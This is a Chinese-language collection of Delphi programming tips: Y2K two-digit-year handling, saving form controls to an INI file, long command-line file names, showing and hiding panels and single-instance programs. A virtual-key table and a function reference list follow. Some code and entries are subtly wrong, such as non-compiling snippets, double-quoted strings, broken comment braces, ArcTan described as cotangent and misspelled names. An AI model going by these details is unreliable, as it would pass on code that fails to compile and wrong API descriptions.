TwoDigitYearCenturyWindow决定将字符串日期中的两位数年份转换为数值日期时使用的世纪数。在提取世纪之前，用当前年份减去这个值。这种方法可以延长使用两位数记年的软件的寿命。其实，对Y2K问题的最好解决办法是不接受两位数记年法，在输入日期时要求4位数，以排除世纪的混淆。下表列出了使用TwoDigitYearCenturyWindow进行世纪数转换的方法。

当前年份 | TwoDigitCenturyWindow取值 | 世纪的起始 | StrToDate函数值
 |  |  | '1/01/03' | '1/01/68' | '1/01/50'
1998 | 0 (默认) | 1900 | 1903 | 1968 | 1950
2002 | 0 (默认) | 2000 | 2003 | 2068 | 2050
1998 | 50 | 1948 | 2003 | 1968 | 1950
2002 | 50 | 1952 | 2003 | 1968 | 2050

S 动态保存窗体控制

想动态地将一个窗体上所有控制的值保存到一个文件吗？利用初始化文件（ini文件）和RTTI，只需要编写一次代码，无论窗体上有多少控制，都可以将它们的值写到指定的文件。同样，写一个逆过程，可以将保存在文件的值直接读出，并设置到对应的控制中。

var

sSection, sFileName, sIdent: String;

iniMyFile: TiniFile;

begin

try

iniMyFile := TIniFile.Create(sFileName);

for i := 0 to (Self.ComponentCount - 1) do

begin

sSection := Self.Name;

if Components[i] is TEdit then

begin

with Components[i] as TEdit do

begin

sIdent := Name;

if Trim(Text) = '' then

iniMyFile.WriteString(sSection, sIdent, '0')

else

iniMyFile.WriteString(sSection, sIdent, Text);

end;

end

else if Components[i] is TCheckBox then

begin

sIdent := Components[i].Name;

iniMyFile.WriteBool(sSection, sIdent, (Components[i] as

TCheckBox).Checked);

end

else if { 下面编写窗体上使用过的所有的控制类型 }

begin

end;

end; { for i }

finally

iniMyFile.Free;

end; { try..finally }

end; { End of SaveToFile }

结果文件类似于：

[窗体名称]

edit_ucost_c_3=61.80

edit_ucost_c_5=66.30

edit_ucost_c_6=69.90

edit_ucost_c_7=64.20

edit_ucost_c_8=66.30

cbShowUtilization=1

T 使用长文件名的方法

现在，使用含有空格的长文件名是十分普遍的，使用ParamStr(1)函数不能正确地得到这样的长文件名。例如，你通过命令行参数传递“ABC Company, Inc.Dat”时，ParamStr(1)只返回ABC，这并不是你希望的长文件名。这是因为ParamStr(1)在遇到第一个空格时就停止了。解决办法是使用下面的LoadCmdLineFile过程：

Uses

System, SysUtils;

Procedure LoadCmdLineFile;

Var

sCmdLine: String;

I: Integer;

Begin

If ParamCount > 0 Then Begin

sCmdLine := '';

{调用ParamCount次ParamStr函数，每次加上一个尾随空格，

确保正确处理带有空格的长文件名　}

For I := 1 To ParamCount Do

sCmdLine := sCmdLine + ParamStr(I) + ' ';

{截取尾随的空格}

sCmdLine := TrimRight(sCmdLine);

{在打开文件之前保证文件存在}

If FileExists(sCmdLine) Then Begin

{添加打开文件的代码}

End;

End;

End;

U 使窗体的部分内容可见

为使窗体的部分内容可见，将窗体的有关部分放置在一个分离的TPanel组件上，将这个面板组件的Visible属性设置为假，记住改变窗体的大小。

例如, 如将一个辅助部分放在Panel1组件上，它在窗体的底部, 并且你想让用户通过按Button1按钮来显示或隐藏它，代码如下：

procedure TForm1.Button1Click(Sender:TObject);

begin

if Panel1.Visible then begin

Panel1.Visible := false;

Height := Height - Panel1.Height;

Button1.Caption := "Show More Options";

end

else begin

Panel1.Visible := true;

Height := Height + Panel1.Height;

Button1.Caption := "Hide More Options";

end;

end;

V 使EXE程序只运行一次

下面的代码确保EXE程序只运行一次：

procedure TForm1.FormCreate(Sender: TObject);

begin

{搜索数据库看程序是否运行}

if GlobalFindAtom('PROGRAM_RUNNING') = 0 then

{ 假如没有找到，就添加到数据库}

atom := GlobalAddAtom('PROGRAM_RUNNING')

else begin

{ 如果程序已经运行，显示信息并退出程序 }

MessageDlg('程序已经运行!', mtWarning, [mbOK], 0);

Halt;

end;

end;

procedure TForm1.FormDestroy(Sender: TObject);

begin

{ 退出程序时，从数据表中删除添加的条目 }

GlobalDeleteAtom(atom);

end;

七、小结

在Internet的信息海洋中，还有无数的宝藏等待我们去发现、开发，作者只是在畅游Internet时，偶有心得发现，觉着有必要与天下有识之士共享发现宝藏的快乐，才作成此文。

其实，在Internet的各个角落里都蕴涵真正的赤金，请发现者能够将自己的心得发现公布与众，给大家提供一条通往知识宝库的钥匙。


Virtual key values
vk_LButton = $01;

vk_RButton = $02;

vk_Cancel = $03;

vk_MButton = $04; { NOT contiguous with L & RBUTTON }

vk_Back = $08;

vk_Tab = $09;

vk_Clear = $0C;

vk_Return = $0D;

vk_Shift = $10;

vk_Control = $11;

vk_Menu = $12;

vk_Pause = $13;

vk_Capital = $14;

vk_Escape = $1B;

vk_Space = $20;

vk_Prior = $21;

vk_Next = $22;

vk_End = $23;

vk_Home = $24;

vk_Left = $25;

vk_Up = $26;

vk_Right = $27;

vk_Down = $28;

vk_Select = $29;

vk_Print = $2A;

vk_Execute = $2B;

vk_SnapShot = $2C;

vk_Copy = $2C not used by keyboards }

vk_Insert = $2D;

vk_Delete = $2E;

vk_Help = $2F;

vk_A thru vk_Z are the same as their ASCII equivalents: 'A' thru 'Z' }

vk_0 thru vk_9 are the same as their ASCII equivalents: '0' thru '9' }

vk_NumPad0 = $60;

vk_NumPad1 = $61;

vk_NumPad2 = $62;

vk_NumPad3 = $63;

vk_NumPad4 = $64;

vk_NumPad5 = $65;

vk_NumPad6 = $66;

vk_NumPad7 = $67;

vk_NumPad8 = $68;

vk_NumPad9 = $69;

vk_Multiply = $6A;

vk_Add = $6B;

vk_Separator = $6C;

vk_Subtract = $6D;

vk_Decimal = $6E;

vk_Divide = $6F;

vk_F1 = $70;

vk_F2 = $71;

vk_F3 = $72;

vk_F4 = $73;

vk_F5 = $74;

vk_F6 = $75;

vk_F7 = $76;

vk_F8 = $77;

vk_F9 = $78;

vk_F10 = $79;

vk_F11 = $7A;

vk_F12 = $7B;

vk_F13 = $7C;

vk_F14 = $7D;

vk_F15 = $7E;

vk_F16 = $7F;

vk_F17 = $80;

vk_F18 = $81;

vk_F19 = $82;

vk_F20 = $83;

vk_F21 = $84;

vk_F22 = $85;

vk_F23 = $86;

vk_F24 = $87;

vk_NumLock = $90;

vk_Scroll = $91;


delphi(pascal)的函册
名称 类型 说明

----------------------------------------------------------------------------------

Abort 函数 引起放弃的意外处理

Abs 函数 绝对值函数

AddExitProc 函数 将一过程添加到运行时库的结束过程表中

Addr 函数 返回指定对象的地址

AdjustLineBreaks 函数 将给定字符串的行分隔符调整为CR/LF序列

Align 属性 使控件位于窗口某部分

Alignment 属性 控件标签的文字位置

AllocMem 函数 在堆栈上分配给定大小的块

AllowGrayed 属性 允许一个灰度选择

AnsiCompareStr 函数 比较字符串（区分大小写）

AnsiCompareText 函数 比较字符串（不区分大小写）

AnsiLowerCase 函数 将字符转换为小写

AnsiUpperCase 函数 将字符转换为大写

Append 函数 以附加的方式打开已有的文件

ArcTan 函数 余切函数

AssignFile 函数 给文件变量赋一外部文件名

Assigned 函数 测试函数或过程变量是否为空

AutoSize 属性 自动控制标签的大小

BackgroundColor 属性 背景色

BeginThread 函数 以适当的方式建立用于内存管理的线程

BevelInner 属性 控件方框的内框方式

BevelOuter 属性 控件方框的外框方式

BevelWidth 属性 控件方框的外框宽度

BlockRead 函数 读一个或多个记录到变量中

BlockWrite 函数 从变量中写一个或多个记录

BorderStyle 属性 边界类型

BorderWidth 属性 边界宽度

Break 命令 终止for、while、repeat循环语句

Brush 属性 画刷

Caption 属性 标签文字的内容

ChangeFileExt 函数 改变文件的后缀

ChDir 函数 改变当前目录

Checked 属性 确定复选框选中状态

Chr 函数 返回指定序数的字符

CloseFile 命令 关闭打开的文件

Color 属性 标签的颜色

Columns 属性 显示的列数

CompareStr 函数 比较字符串（区分大小写）

Concat 函数 合并字符串

Continue 命令 继续for、while、repeat的下一个循环

Copy 函数 返回一字符串的子串

Cos 函数 余弦函数

Ctl3D 属性 是否具有3D效果

Cursor 属性 鼠标指针移入后的形状

Date 函数 返回当前的日期

DateTimeToFileDate 函数 将DELPHI的日期格式转换为DOS的日期格式

DateTimeToStr 函数 将日期时间格式转换为字符串

DateTimeToString 函数 将日期时间格式转换为字符串

DateToStr 函数 将日期格式转换为字符串

DayOfWeek 函数 返回星期的数值

Dec 函数 递减变量值

DecodeDate 函数 将日期格式分解为年月日

DecodeTime 函数 将时间格式分解为时、分、秒、毫秒

Delete 函数 从字符串中删除子串

DeleteFile 命令 删除文件

DiskFree 函数 返回剩余磁盘空间的大小

DiskSize 函数 返回指定磁盘的容量

Dispose 函数 释放动态变量所占的空间

DisposeStr 函数 释放字符串在堆栈中的内存空间

DitherBackground 属性 使背景色的色彩加重或减少50%

DragCursor 属性 当鼠标按下时光标的形状

DragMode 属性 按动的作用方式

DropDownCount 属性 容许的显示数据项的数目

EditMask 属性 编辑模式

Enabled 属性 是否使标签呈现打开状态

EncodeDate 函数 将年月日合成为日期格式

EncodeTime 函数 将时、分、秒、毫秒合成为时间格式

EndMargin 属性 末尾边缘

Eof 函数 对有类型或无类型文件测试是否到文件尾

Eoln 函数 返回文本文件的行结束状态

Erase 命令 删除外部文件

ExceptAddr 函数 返回引起当前意外的地址

Exclude 函数 从集合中删除一些元素

ExceptObject 函数 返回当前意外的索引

Exit 命令 立即从当前的语句块中退出

Exp 函数 指数函数

ExpandFileName 函数 返回包含绝对路径的字符串

ExtendedSelect 属性 是否允许存在选择模式，True时，MultiSelect才有意义

ExtractFileDir 函数 返回驱动器和路径

ExtractFileExt 函数 返回文件的后缀

ExtractFileName 函数 返回文件名

ExtractFilePath 函数 返回指定文件的路径

FileAge 函数 返回文件已存在的时间

FileClose 命令 关闭指定的文件

FileCreate 命令 用指定的文件名建立新文件

FileDateToDateTime 函数 将DOS的日期格式转换为DELPHI的日期格式

FileExists 函数 检查文件是否存在

FileGatAttr 函数 返回文件的属性

FileGetDate 函数 返回文件的DOS日期时间标记

FileOpen 命令 用指定的存取模式打开指定的文件

FilePos 函数 返回文件的当前指针位置

FileRead 命令 从指定的文件读取

FileSearch 命令 在目录中搜索指定的文件

FileSeek 函数 改变文件的指针

FileSetAttr 函数 设置文件属性

FileSetDate 函数 设置文件的DOS日期时间标记

FileSize 函数 返回当前文件的大小

FileWrite 函数 对指定的文件做写操作

FillChar 函数 用指定的值填充连续字节的数

FindClose 命令 终止FindFirst/FindNext序列

FindFirst 命令 对指定的文件名及属性搜索目录

FindNext 命令 返回与文件名及属性匹配的下一入口

FloatToDecimal 函数 将浮点数转换为十进制数

FloatToStrF 函数 将浮点数转换为字符串

FloatToStr 函数 将浮点数转换为字符串

FloatToText 函数 将给定的浮点数转换为十进制数

FloatToTextFmt 函数 将给定的浮点数转换为十进制数

Flush 函数 将缓冲区的内容刷新到输出的文本文件中

FmtLoadStr 函数 从程序的资源字符串表中装载字符串

FmtStr 函数 格式化一系列的参数，其结果以参数Result返回

Font 属性 设置字体

Format 函数 格式化一系列的参数并返回Pascal字符串

FormatBuf 函数 格式化一系列的参数

FormatDateTime 函数 用指定的格式来格式化日期和时间

FormatFloat 函数 指定浮点数格式

Frac 函数 返回参数的小数部分

FreeMem 函数 按给定大小释放动态变量所占的空间

GetDir 返回指定驱动器的当前目录

GetHeapStatus 返回内存管理器的当前状态

GetMem 建立一指定大小的动态变量，并将指针指向该处

GetMemoryManager 返回内存管理器的入口点

Glyph 函数 按钮上的图象

Halt 停止程序的执行并返回到操作系统

Hi 返回参数的高地址位

High 返回参数的上限值

Hint 属性 提示信息

Int 返回参数的整数部分

Include 添加元素到集合中

Insert 在字符串中插入子串

IntToHex 将整型数转换为十六进制数

IntToStr 将整型数转换为字符串

IOResult 返回最新的I/O操作完成状态

IsValidIdent 测试字符串是否为有效的标识符

Items 属性 默认显示的节点

Kind 属性 摆放样式

LargeChange 属性 最大改变值

Layout 属性 图象布局

Length 函数 返回字符串的动态长度

Lines 属性 缺省显示内容

Ln 函数 自然对数函数

Lo 函数 返回参数的低地址位

LoadStr 函数 从应用程序的可执行文件中装载字符资源

LowerCase 函数 将给定的字符串变为小写

Low 函数 返回参数的下限值

Max 属性 最大值

MaxLength 属性 最大长度

Min 属性 最小值

MkDir 命令 建立一子目录

Move 函数 从源到目标复制字节

MultiSelect 属性 允许同时选择几个数据项

Name 属性 控件的名字

New 函数 建立新的动态变量并设置一指针变量指向他

NewStr 函数 在堆栈上分配新的字符串

Now 函数 返回当前的日期和时间

Odd 测试参数是否为奇数

OnActivate 事件 焦点移到窗体上时触发

OnClick 事件 单击窗体空白区域触发

OnDblClick 事件 双击窗体空白区域触发

OnCloseQuery 事件 使用者试图关闭窗体触发

OnClose 事件 窗体关闭后才触发

OnCreate 事件 窗体第一次创建时触发

OnDeactivate 事件 用户切换到另一应用程序触发

OnDragDrop 事件 鼠标拖放操作结束时触发

OnDragOver 事件 有其他控件从他上面移过触发

OnMouseDown 事件 按下鼠标键时触发

OnMouseUp 事件 释放鼠标键时触发

OnMouseMove 事件 移动鼠标时触发

OnHide 事件 隐藏窗体时触发

OnKeyDown 事件 按下键盘某键时触发

OnKeyPress 事件 按下键盘上的单个字符键时触发

OnKeyUp 事件 释放键盘上的某键时触发

OnPaint 事件 窗体上有新部分暴露出来触发

OnResize 事件 重新调整窗体大小触发

OnShow 事件 在窗体实际显示之前瞬间触发

Ord 返回序数类的序数

OutlineStyle 属性 类型

OutOfMemoryError 引起OutOfMemory意外

PageIndex 属性 页索引

Pages 属性 页

ParamCount 函数 返回在命令行上传递给程序的参数数量

ParamStr 函数 返回指定的命令行参数

Pen 属性 画刷设置

Pi 函数 返回圆周率Pi

Picture 属性 显示图象

PictureClosed 属性 设置Closed位图

PictureLeaf 属性 设置Leaf位图

PictureMinus 属性 设置Minus位图

PictureOpen 属性 设置Open位图

PicturePlus 属性 设置Plus位图

Pos 函数 在字符串中搜索子串

Pred 函数 返回先前的参数

Random 函数 返回一随机函数

Randomize 函数 用一随机数初始化内置的随机数生成器

Read 函数 对有格式的文件，读一文件组件到变量中；

对文本文件，读一个或多个值到一个或多个变量中

Readln 函数 执行Read过程，然后跳到文件下一行

ReadOnly 属性 只读属性

ReAllocMem 函数 分配一动态变量

Rename 函数 重命名外部文件

RenameFile 函数 对文件重命名

Reset 函数 打开已有的文件

Rewrite 函数 建立并打开一新的文件

RmDir 函数 删除空的子目录

Round 函数 将实数值舍入为整型值

RunError 函数 停止程序的执行

ScrollBars 属性 滚动条状态

Seek 函数 将文件的当前指针移动到指定的组件上

SeekEof 函数 返回文件的文件结束状态

SeekEoln 函数 返回文件的行结束状态

SelectedColor 属性 选中颜色

SetMemoryManager 函数 设置内存管理器的入口点

SetTextBuf 函数 给文本文件指定I/O缓冲区

Shape 属性 显示的形状

ShowException 函数 显示意外消息与地址

Sin 函数 正弦函数

SizeOf 函数 返回参数所占的字节数

SmallChange 属性 最小改变值

Sorted 属性 是否允许排序

Sqr 函数 平方函数

Sqrt 函数 平方根函数

StartMargin 属性 开始边缘

State 属性 控件当前状态

Str 函数 将数值转换为字符串

StrAlloc 函数 给以NULL结束的字符串分配最大长度-1的缓冲区

StrBufSize 函数 返回存储在由StrAlloc分配的字符缓冲区的最大字符数

StrCat 函数 将一字符串附加到另一字符串尾并返回合并的字符串

StrComp 函数 比较两个字符串

StrCopy 函数 将一个字符串复制到另一个字符串中

StrDispose 函数 释放堆栈上的字符串

StrECopy 函数 将一字符串复制到另一个字符串并返回结果字符串尾部的指针

StrEnd 函数 返回指向字符串尾部的指针

Stretch 属性 自动适应控件的大小

StrFmt 函数 格式化一系列的参数

StrIComp 函数 比较两个字符串（不区分大小写）

StringToWideChar 函数 将ANSI字符串转换为UNICODE字符串

StrLCat 函数 将一字符串中的字符附加到另一字符串尾并返回合并的字符串

StrLComp 函数 以最大长度比较两个字符串

StrLCopy 函数 将一个字符串中的字符复制到另一个字符串中

StrLen 函数 返回字符串中的字符数

StrLFmt 函数 格式化一系列的参数，其结果中包含有指向目标缓冲区的指针

StrLIComp 函数 以最大长度比较两个字符串（不区分大小写）

StrLower 函数 将字符串中的字符转换为小写

StrMove 函数 将一个字符串中的字符复制到另一个字符串中

StrNew 函数 在堆栈上分配一个字符串

StrPas 函数 将以NULL结束的字符串转换为PASCAL类的字符串

StrPCopy 函数 将PASCAL类的字符串复制为以NULL结束的字符串

StrPLCopy 函数 从PASCAL类的最大长度字符串复制为以NULL结束的字符串

StrPos 函数 返回一个字符串在另一个字符串中首次出现指针

StrRScan 函数 返回字符串中最后出现字符的指针

StrScan 函数 返回字符串中出现首字符的指针

StrToDate 函数 将字符串转换为日期格式

StrToDateTime 函数 将字符串转换为日期/时间格式

StrToFloat 函数 将给定的字符串转换为浮点数

StrToInt 函数 将字符串转换为整型

StrToIntDef 函数 将字符串转换为整型或默认值

StrToTime 函数 将字符串转换为时间格式

StrUpper 函数 将字符串中的字符转换为大写

Style 属性 类型选择

Suce 函数 返回后继的参数

Swap 函数 交换参数的高低地址位

Tabs 属性 标记每一项的内容

TabIndex 属性 标记索引

Text 属性 显示的文本

TextToFloat 函数 将字符串（以NULL结束的格式）转换为浮点数

Time 函数 返回当前的时间

TimeToStr 函数 将时间格式转换为字符串

Trim 函数 从给定的字符串中删除前导和尾部的空格及控制字符

TrimLeft 函数 从给定的字符串中删除首部的空格及控制字符

TrimRight 函数 从给定的字符串中删除尾部的空格及控制字符

Trunc 函数 将实型值截取为整型值

Truncate 函数 截去当前文件位置后的内容

UnSelectedColor 属性 未选中颜色

UpCase 将字符转换为大写

UpperCase 将给定的字符串变为大写

Val 函数 将字符串转换为整型值

VarArrayCreate 函数 以给定的界限和维数建立变体数组

VarArrayDimCount 函数 返回给定变体的维数

VarArrayHighBound 函数 返回给定变体数组维数的上界

VarArrayLock 函数 锁定给定的变体数组

VarArrayLowBound 函数 返回给定变体数组维数的下界

VarArrayOf 函数 返回指定变体的数组元素

VarArrayRedim 函数 通过改变上限来调整变体的大小

VarArrayUnlock 函数 解锁指定的变体数组

VarAsType 函数 将变体转换为指定的类型

VarCase 函数 将变体转换为指定的类型并保存他

VarClear 函数 清除指定的变体

VarCopy 函数 将指定的变体复制为指定的变体

VarFormDateTime 函数 返回包含日期时间的变体

VarIsArray 函数 测试变体是否为数组

VarIsEmpty 函数 测试变体是否为UNASSIGNED

VarIsNull 函数 测试变体是否为NULL

VarToDateTime 函数 将给定的变体转换为日期时间

VarType 函数 将变体转换为指定的类型并保存他

Visible 属性 控件的可见性

WantReturns 属性 为True时，按回车键产生一个回车符；

为False时，按下Ctrl+Enter才产生回车符

Write 命令 对有格式的文件，写一变量到文件组件中；

对文本文件，写一个或多个值到文件中

Writeln 命令 执行WRITE过程，然后输出一行结束标志

WideCharLenToString 函数 将ANSI字符串转换为UNICODE字符串

WideCharLenToStrWar 函数 将UNICODE字符串转换为ANSI字符串变量

WideCharToString 函数 将UNICODE字符串转换为ANSI字符串

WideCharToStrVar 函数 将UNICODE字符串转换为ANSI字符串变量